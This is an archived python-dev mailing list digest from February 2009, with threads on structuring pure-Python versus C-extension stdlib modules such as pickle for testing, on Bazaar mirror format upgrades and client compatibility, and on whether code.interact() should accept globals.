>>>>> > compromise for a simple solution like this?
>>>>>
>>>>> Doesn't __all__ control this?
>>>>>
>>>>>
>>>>
>>>> If you define it, yes.
>>>>
>>>> But there is another issue with this: the pure Python code will never
>>>> call
>>>> the extension code because the globals will be bound to _pypickle and
>>>> not
>>>> _pickle. So if you have something like::
>>>>
>>>>  # _pypickle
>>>>  def A(): return _B()
>>>>  def _B(): return -13
>>>>
>>>>  # _pickle
>>>>  def _B(): return 42
>>>>
>>>>  # pickle
>>>>  from _pypickle import *
>>>>  try: from _pickle import *
>>>>  except ImportError: pass
>>>>
>>>> If you import pickle and call pickle.A() you will get -13 which is not
>>>> what
>>>> you are after.
>>>>
>>>>
>>> If pickle and _pypickle are both Python modules, and _pypickle.A is
>>> intended
>>> to be used all the time, regardless of whether _pickle is available, then
>>> there's not really any reason to implement A in _pypickle.  Just
>>> implement
>>> it
>>> in pickle.  Then import whatever optionally fast thing it depends on from
>>> _pickle, if possible, and fall-back to the less fast thing in _pypickle
>>> otherwise.
>>>
>>> This is really the same as any other high-level/low-level library split.
>>>  It
>>> doesn't matter that in this case, one low-level implementation is
>>> provided
>>> as
>>> an extension module.  Importing the low-level APIs from another module
>>> and
>>> then using them to implement high-level APIs is a pretty common, simple,
>>> well-understood technique which is quite applicable here.
>>>
>>
>>
>> But that doesn't provide a clear way, short of screwing with sys.modules,
>> to
>> get at just the pure Python implementation for testing when the extensions
>> are also present. The key point in trying to figure this out is to
>> facilitate testing since the standard library already uses the import *
>> trick in a couple of places.
>>
>
> "screwing with sys.modules" isn't a goal.  It's a means of achieving a
> goal,
> and not a particularly good one.
>
> I guess I overedited my message, sorry about that.  Originally I included
> an example of how to parameterize the high-level API to make it easier to
> test (or use) with any implementation one wants.  It went something like
> this:
>
>   try:
>       import _pickle as _lowlevel
>   except ImportError:
>       import _pypickle as _lowlevel
>
>   class Pickler:
>       def __init__(self, implementation=None):
>           if implementation is None:
>               implementation = _lowlevel
>           self.dump = implementation.dump
>           self.load = implementation.load
>           ...
>
> Perhaps this isn't /exactly/ how pickle wants to work - I haven't looked at
> how the C extension and the Python code fit together - but the general idea
> should apply regardless of those details.


But this requires all VMs to either implement as an extension the same
thing, or nothing at all. What if Jython only wants to re-implement 'load'
and not 'dump'?

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/64554b41/attachment-0001.htm>

From steven.bethard at gmail.com  Sat Feb 21 22:36:16 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Sat, 21 Feb 2009 13:36:16 -0800
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de>
	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
Message-ID: <d11dcfba0902211336j13d4648en35288094b2eaf115@mail.gmail.com>

On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore <p.f.moore at gmail.com> wrote:
> PS Just for my own information, am I correct in thinking that it is
> *only* Bazaar in the (D)VCS world that has this problem, to any real
> extent? I know old Mercurial clients can interact with newer servers
> (ie, the wire protocol hasn't changed), I'm fairly sure that older
> Subversion clients can talk to newer servers (at least, I've never
> cared what client version I'm running).

I've definitely had an SVN server tell me that I needed to upgrade my
client to 1.5.

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From ncoghlan at gmail.com  Sat Feb 21 23:05:09 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 22 Feb 2009 08:05:09 +1000
Subject: [Python-Dev] Choosing a best practice solution
 for	Python/extension modules
In-Reply-To: <bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
Message-ID: <49A07A95.7000604@gmail.com>

Brett Cannon wrote:
> 
> 
> On Sat, Feb 21, 2009 at 11:43, <glyph at divmod.com
> <mailto:glyph at divmod.com>> wrote:
> 
>     On 07:07 pm, brett at python.org <mailto:brett at python.org> wrote:
> 
>         On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone
>         <exarkun at divmod.com <mailto:exarkun at divmod.com>>wrote:
> 
> 
>                 But there is another issue with this: the pure Python
>                 code will never call
>                 the extension code because the globals will be bound to
>                 _pypickle and not
>                 _pickle. So if you have something like::
> 
> 
>                  # _pypickle
>                  def A(): return _B()
>                  def _B(): return -13
> 
> 
>                  # _pickle
>                  def _B(): return 42
> 
> 
>                  # pickle
>                  from _pypickle import *
>                  try: from _pickle import *
>                  except ImportError: pass
> 
> 
>             This is really the same as any other high-level/low-level
>             library split.  It doesn't matter that in this case, one
>             low-level implementation is provided as an extension module.
>             Importing the low-level APIs from another module and then
>             using them to implement high-level APIs is a pretty common,
>             simple, well-understood technique which is quite applicable
>             here.
> 
> 
>         But that doesn't provide a clear way, short of screwing with
>         sys.modules, to
>         get at just the pure Python implementation for testing when the
>         extensions
>         are also present. The key point in trying to figure this out is to
>         facilitate testing since the standard library already uses the
>         import *
>         trick in a couple of places.
> 
> 
>     You don't have to screw with sys.modules.  The way I would deal with
>     testing this particular interaction would be a setUp that replaces
>     pickle._A with _pypickle._A, and a tearDown that restores the
>     original one.
> 
>     Twisted's TestCase has specific support for this.  You would spell
>     it like this:
> 
>       import _pypickle
>       # ...
>       testCase.patch(pickle, '_A', _pypickle._A)
> 
>     You can read more about this method here:
> 
>     http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch
> 
> 
> My worry with this approach is that while this works nicely if you are
> only overriding a single function, having to do this for all functions
> and classes in order to make sure you are testing the extension code
> with all the extension code instead of intermingled extension/Python
> code. So a function that did this automatically for the entire module
> would be needed, which is like what I proposed in my use_extension function.
> 
> I am seeing two approaches emerging. One is where pickle contains all
> Python code and then uses something like use_extension to make sure the
> original Python objects are still reachable at some point. This has the
> drawback that you have to use some function to make the extensions
> happen and there is some extra object storage.
> 
> The other approach is having pickle contain code known not to be
> overridden by anyone, import _pypickle for stuff that may be overridden,
> and then import _pickle for whatever is available. This approach has the
> perk of using a standard practice for how to pull in different
> implementation. But the drawback, thanks to how globals are bound, is
> that any code pulled in from _pickle/_pypickle will not be able to call
> into other optimized code; it's a take or leave it once the call chain
> enters one of those modules as they will always call the implementations
> in the module they originate from.

I'd actually say there's a third option which is still viable: continue
with the current Foo/_Foo practice for optimised modules, and provide a
function in test.support to get the original Python version's code out
of Foo.

That actually has the virtue of directly testing that the ImportError
for the missing module is being trapped correctly.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From barry at python.org  Sat Feb 21 23:39:55 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 21 Feb 2009 17:39:55 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de>
	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
Message-ID: <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 21, 2009, at 4:11 PM, Paul Moore wrote:

> PS Just for my own information, am I correct in thinking that it is
> *only* Bazaar in the (D)VCS world that has this problem, to any real
> extent? I know old Mercurial clients can interact with newer servers
> (ie, the wire protocol hasn't changed), I'm fairly sure that older
> Subversion clients can talk to newer servers (at least, I've never
> cared what client version I'm running). I've not heard of this type of
> discussion around Git (but my experience is limited). But Bazaar seems
> very prone to this "upgrade the server and the clients need to be
> upgraded too" cycle.

That's not what we're talking about.  This is a case of older clients  
not understanding a newer repository format.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaCCu3EjvBPtnXfVAQIafgP/VVxkAWhvpyagtYudwWXMTq0ErDZ+GoH4
JvwWHZqpp3/DlMwhXLptNrctaPQtdja5dGilSkVokv75OVYj8MZPiofa7peB2kGG
Bi6pdN9ikf3sMU2PNnw3cCHAesdrSWkCAfjYO+AnXH/jn2PY6NdLLGenOvIOKlUu
66xGyep1bT4=
=DR0/
-----END PGP SIGNATURE-----

From p.f.moore at gmail.com  Sun Feb 22 00:06:19 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Sat, 21 Feb 2009 23:06:19 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de>
	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
	<78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>
Message-ID: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>

2009/2/21 Barry Warsaw <barry at python.org>:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On Feb 21, 2009, at 4:11 PM, Paul Moore wrote:
>
>> PS Just for my own information, am I correct in thinking that it is
>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>> extent? I know old Mercurial clients can interact with newer servers
>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>> Subversion clients can talk to newer servers (at least, I've never
>> cared what client version I'm running). I've not heard of this type of
>> discussion around Git (but my experience is limited). But Bazaar seems
>> very prone to this "upgrade the server and the clients need to be
>> upgraded too" cycle.
>
> That's not what we're talking about.  This is a case of older clients not
> understanding a newer repository format.

Sorry, I'm confused. Isn't that what I said? Clients (who still use
the - older - version they have at the moment) needing to upgrade to
be able to interact with the public repository (server) if that
repository is upgraded to a newer version? When you say "repository"
and I say "server", are we not discussing the same thing (the Bazaar
branches hosted at code.python.org)?

Paul.

From rocky at gnu.org  Sun Feb 22 00:20:26 2009
From: rocky at gnu.org (Rocky Bernstein)
Date: Sat, 21 Feb 2009 18:20:26 -0500
Subject: [Python-Dev] code.interact() locals + globals?
Message-ID: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com>

I notice  code.interact() in Python 2.6 has a parameter for locals but not
globals. Should it?

Ultimately,  *exec* is used underneath so I don't see a technical reason why
it couldn't add a global parameter. Also, although one could pass in a
dictionary that is the merger or update() of locals() and globals(),  this
has a couple of downsides.

First, if the intention is to allow update of local and global variables,
combining the two into a single dictionary wreaks havoc. Even if one doesn't
care about this, when the underlying *exec* is performed it will see
different and wrong values for the functions locals() and globals() among
other problems of this kind.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/8089650b/attachment-0001.htm>

From aahz at pythoncraft.com  Sun Feb 22 00:46:46 2009
From: aahz at pythoncraft.com (Aahz)
Date: Sat, 21 Feb 2009 15:46:46 -0800
Subject: [Python-Dev] Choosing a best practice solution
	for	Python/extension modules
In-Reply-To: <bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
Message-ID: <20090221234646.GA19226@panix.com>

On Sat, Feb 21, 2009, Brett Cannon wrote:
>
> I am seeing two approaches emerging. One is where pickle contains all
> Python code and then uses something like use_extension to make sure
> the original Python objects are still reachable at some point. This
> has the drawback that you have to use some function to make the
> extensions happen and there is some extra object storage.
>
> The other approach is having pickle contain code known not to
> be overridden by anyone, import _pypickle for stuff that may be
> overridden, and then import _pickle for whatever is available. This
> approach has the perk of using a standard practice for how to pull in
> different implementation. But the drawback, thanks to how globals are
> bound, is that any code pulled in from _pickle/_pypickle will not be
> able to call into other optimized code; it's a take or leave it once
> the call chain enters one of those modules as they will always call
> the implementations in the module they originate from.

To what extent do we care about being able to select Python-only on a
per-module basis, particularly in the face of threaded imports?  That is,
we could have a sys.python_only attribute that gets checked on import.
That's simple and direct, and even allows per-module switching if the
application really cares and import doesn't need to worry about threads.

Alternatively, sys.python_only could be a set, but that gets ugly about
setting from the application.  (The module checks to see whether it's
listed in sys.python_only.)

Maybe we should move this discussion to python-ideas for now to kick
around really oddball suggestions?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From kevin at bud.ca  Sun Feb 22 00:35:59 2009
From: kevin at bud.ca (Kevin Teague)
Date: Sat, 21 Feb 2009 15:35:59 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
References: <bbaeab100902201144l3fc76dd4s6f3dadfeef105a08@mail.gmail.com>
Message-ID: <DEF87B00-B4CC-4FAF-A096-824901074D8C@bud.ca>

>
>
> So go ahead and tear this apart so that we can hopefully reach a  
> consensus that makes sense so that at least testing can easily be  
> done.
>

If I was developing an application and wanted to deal with two  
different versions of the same library, I would simply make sure that  
the version I wanted to use was first on sys.path. Perhaps something  
such as:

lib/python-3.0/libdynload/ # extension module implementations
lib/python-3.0/libpython/ # pure python implementations

Then in the test suite simply ensure that either the Python  
implementation or the C implementation is first on sys.path. Both  
directories would contain an _pickle.py module, and then pickle.py  
could be changed from:

try:
     from _pickle import *
except ImportError:
     Pickler, Unpickler = _Pickler, _Unpickler

To just:

from _pickle import Pickler, Unpickler

By default libdynload would be first on sys.path so that extension  
modules would be imported first if available, otherwise it would  
fallback to the pure Python versions. The test suite could then add/ 
remove libdynload from sys.path as needed.

Well, OK, so this is a pretty big change as to how standard lib files  
are structured - so maybe there are quite a few reasons why this isn't  
feasable ... but it does make things a lot simpler and gets rid of the  
need for performing any magic with the loaded modules in the test suite.



From brett at python.org  Sun Feb 22 01:56:48 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 16:56:48 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090221234646.GA19226@panix.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
Message-ID: <bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>

On Sat, Feb 21, 2009 at 15:46, Aahz <aahz at pythoncraft.com> wrote:

> On Sat, Feb 21, 2009, Brett Cannon wrote:
> >
> > I am seeing two approaches emerging. One is where pickle contains all
> > Python code and then uses something like use_extension to make sure
> > the original Python objects are still reachable at some point. This
> > has the drawback that you have to use some function to make the
> > extensions happen and there is some extra object storage.
> >
> > The other approach is having pickle contain code known not to
> > be overridden by anyone, import _pypickle for stuff that may be
> > overridden, and then import _pickle for whatever is available. This
> > approach has the perk of using a standard practice for how to pull in
> > different implementation. But the drawback, thanks to how globals are
> > bound, is that any code pulled in from _pickle/_pypickle will not be
> > able to call into other optimized code; it's a take or leave it once
> > the call chain enters one of those modules as they will always call
> > the implementations in the module they originate from.
>
> To what extent do we care about being able to select Python-only on a
> per-module basis, particularly in the face of threaded imports?  That is,
> we could have a sys.python_only attribute that gets checked on import.
> That's simple and direct, and even allows per-module switching if the
> application really cares and import doesn't need to worry about threads.
>
> Alternatively, sys.python_only could be a set, but that gets ugly about
> setting from the application.  (The module checks to see whether it's
> listed in sys.python_only.)
>
> Maybe we should move this discussion to python-ideas for now to kick
> around really oddball suggestions?


This is all about testing. If a change is made to some extension code it
should be mirrored in the Python code and vice-versa.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/9e9c83f8/attachment.htm>

From brett at python.org  Sun Feb 22 01:59:56 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 16:59:56 -0800
Subject: [Python-Dev] code.interact() locals + globals?
In-Reply-To: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com>
References: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com>
Message-ID: <bbaeab100902211659y3f3e8e7fo156d4cfe7aab942b@mail.gmail.com>

On Sat, Feb 21, 2009 at 15:20, Rocky Bernstein <rocky at gnu.org> wrote:

> I notice  code.interact() in Python 2.6 has a parameter for locals but not
> globals. Should it?
>

What is code.interact()?::

    >>> (lambda: None).__code__.interact
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    AttributeError: 'code' object has no attribute 'interact'

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/093024aa/attachment.htm>

From brett at python.org  Sun Feb 22 02:00:54 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 17:00:54 -0800
Subject: [Python-Dev] code.interact() locals + globals?
In-Reply-To: <bbaeab100902211659y3f3e8e7fo156d4cfe7aab942b@mail.gmail.com>
References: <6cd6de210902211520t5fa6d915k949953f4e5736197@mail.gmail.com>
	<bbaeab100902211659y3f3e8e7fo156d4cfe7aab942b@mail.gmail.com>
Message-ID: <bbaeab100902211700g4543f635i4b2474b40e318630@mail.gmail.com>

On Sat, Feb 21, 2009 at 16:59, Brett Cannon <brett at python.org> wrote:

>
>
> On Sat, Feb 21, 2009 at 15:20, Rocky Bernstein <rocky at gnu.org> wrote:
>
>> I notice  code.interact() in Python 2.6 has a parameter for locals but not
>> globals. Should it?
>>
>
> What is code.interact()?::
>
>     >>> (lambda: None).__code__.interact
>     Traceback (most recent call last):
>       File "<stdin>", line 1, in <module>
>     AttributeError: 'code' object has no attribute 'interact'
>

nm, I figured out you mean the code module.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/00db514d/attachment-0001.htm>

From tseaver at palladion.com  Sun Feb 22 02:13:23 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Sat, 21 Feb 2009 20:13:23 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>
	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>	<78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>
	<79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>
Message-ID: <49A0A6B3.5060805@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Paul Moore wrote:
> 2009/2/21 Barry Warsaw <barry at python.org>:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> On Feb 21, 2009, at 4:11 PM, Paul Moore wrote:
>>
>>> PS Just for my own information, am I correct in thinking that it is
>>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>>> extent? I know old Mercurial clients can interact with newer servers
>>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>>> Subversion clients can talk to newer servers (at least, I've never
>>> cared what client version I'm running). I've not heard of this type of
>>> discussion around Git (but my experience is limited). But Bazaar seems
>>> very prone to this "upgrade the server and the clients need to be
>>> upgraded too" cycle.
>> That's not what we're talking about.  This is a case of older clients not
>> understanding a newer repository format.
> 
> Sorry, I'm confused. Isn't that what I said? Clients (who still use
> the - older - version they have at the moment) needing to upgrade to
> be able to interact with the public repository (server) if that
> repository is upgraded to a newer version? When you say "repository"
> and I say "server", are we not discussing the same thing (the Bazaar
> branches hosted at code.python.org)?

This has been true for a number of cases over the years:  whether the
"repostiory format", or the wire protocol,  sometimes changes which
materially *improve* the user's experience may require upgrading the
client on the user's machine.  In the case of SVN, upgrading to 1.5 gets
vastly better merging support;  in the case ob bzr, the win is
performance when working against a large tree.

Given that all the DVCS support is experimental at this point, nobody is
being *blocked* from hacking on the Python core by Barry's proposed
chnage.  He was trying to find out if *real* users of the bzr tree would
be hurt by the repository format upgrade, rather than hypothetical ones.
 AFAICS, no real user (one already using bzr to work with the Python
tree) has objected.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJoKaz+gerLs4ltQ4RAg4XAJ9zP0HU0S8xeaHsThxJ9/MJgpbztQCeINLH
ar5pu9gP3tXdgHtOf3HGyWU=
=4XLm
-----END PGP SIGNATURE-----

From tseaver at palladion.com  Sun Feb 22 02:13:23 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Sat, 21 Feb 2009 20:13:23 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>
	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>	<78F10A13-54F3-42B8-914C-0EF80C60C904@python.org>
	<79990c6b0902211506j7644f8a3ve0839ff630f4fe91@mail.gmail.com>
Message-ID: <49A0A6B3.5060805@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Paul Moore wrote:
> 2009/2/21 Barry Warsaw <barry at python.org>:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> On Feb 21, 2009, at 4:11 PM, Paul Moore wrote:
>>
>>> PS Just for my own information, am I correct in thinking that it is
>>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>>> extent? I know old Mercurial clients can interact with newer servers
>>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>>> Subversion clients can talk to newer servers (at least, I've never
>>> cared what client version I'm running). I've not heard of this type of
>>> discussion around Git (but my experience is limited). But Bazaar seems
>>> very prone to this "upgrade the server and the clients need to be
>>> upgraded too" cycle.
>> That's not what we're talking about.  This is a case of older clients not
>> understanding a newer repository format.
> 
> Sorry, I'm confused. Isn't that what I said? Clients (who still use
> the - older - version they have at the moment) needing to upgrade to
> be able to interact with the public repository (server) if that
> repository is upgraded to a newer version? When you say "repository"
> and I say "server", are we not discussing the same thing (the Bazaar
> branches hosted at code.python.org)?

This has been true for a number of cases over the years:  whether the
"repostiory format", or the wire protocol,  sometimes changes which
materially *improve* the user's experience may require upgrading the
client on the user's machine.  In the case of SVN, upgrading to 1.5 gets
vastly better merging support;  in the case ob bzr, the win is
performance when working against a large tree.

Given that all the DVCS support is experimental at this point, nobody is
being *blocked* from hacking on the Python core by Barry's proposed
chnage.  He was trying to find out if *real* users of the bzr tree would
be hurt by the repository format upgrade, rather than hypothetical ones.
 AFAICS, no real user (one already using bzr to work with the Python
tree) has objected.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJoKaz+gerLs4ltQ4RAg4XAJ9zP0HU0S8xeaHsThxJ9/MJgpbztQCeINLH
ar5pu9gP3tXdgHtOf3HGyWU=
=4XLm
-----END PGP SIGNATURE-----


From steve at holdenweb.com  Sun Feb 22 02:56:21 2009
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 21 Feb 2009 20:56:21 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <d11dcfba0902211336j13d4648en35288094b2eaf115@mail.gmail.com>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de>	<49A03D9C.8050604@palladion.com>
	<49A041F3.60909@v.loewis.de>	<79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>
	<d11dcfba0902211336j13d4648en35288094b2eaf115@mail.gmail.com>
Message-ID: <gnqbc5$5jl$1@ger.gmane.org>

Steven Bethard wrote:
> On Sat, Feb 21, 2009 at 1:11 PM, Paul Moore <p.f.moore at gmail.com> wrote:
>> PS Just for my own information, am I correct in thinking that it is
>> *only* Bazaar in the (D)VCS world that has this problem, to any real
>> extent? I know old Mercurial clients can interact with newer servers
>> (ie, the wire protocol hasn't changed), I'm fairly sure that older
>> Subversion clients can talk to newer servers (at least, I've never
>> cared what client version I'm running).
> 
> I've definitely had an SVN server tell me that I needed to upgrade my
> client to 1.5.

Interestingly, I've had 1.4 servers tell me I shouldn't have upgraded my
client to 1.5, which is a little tedious = particularly as the
information comes in the form of a hard-to-decipher error message and a
refusal to work. So much for backward compatibility.

Fortunately I still had the SVN 1.4 client on the Ubuntu machine that
was hosting the Samba shares, so I could use ssh and the command line to
maintain things.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From cournape at gmail.com  Sun Feb 22 04:20:34 2009
From: cournape at gmail.com (David Cournapeau)
Date: Sun, 22 Feb 2009 12:20:34 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <873ae856le.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
Message-ID: <5b8d13220902211920u18b5a5f9tea4bc31638242f11@mail.gmail.com>

On Sat, Feb 21, 2009 at 9:15 PM, Stephen J. Turnbull <stephen at xemacs.org> wrote:
> "Martin v. L?wis" writes:
>  > sjt sez:
>
>  > > I didn't say "from source", I said "from a VCS checkout".  If using a
>  > > *specific* recent official release of a core tool is bureaucratically
>  > > infeasible, it would IMO be very unusual if you're allowed to checkout
>  > > and build arbitrary versions of Python, rather than using a version
>  > > provided by your bureaucrats.
>  > >
>  > > The number of people whose job is *specifically* developing Python, or
>  > > developing code that depends on bleeding-edge Python, in such an
>  > > environment is surely very small.
>
>  > This completely contradicts with my experience. In a university
>  > environment, students regularly check out software from the source
>  > repository, modify it, and build it, just to learn something by doing
>  > so.
>
> You're ignoring the second paragraph quoted above.  I'm *not* denying
> that such environments are common.  The question is "Do developers
> *restricted to such environments* really have an impact on Python
> development to outweigh the real cost of standardizing on an older
> implementation of Bazaar to developers who would be able to use a more
> capable version?"

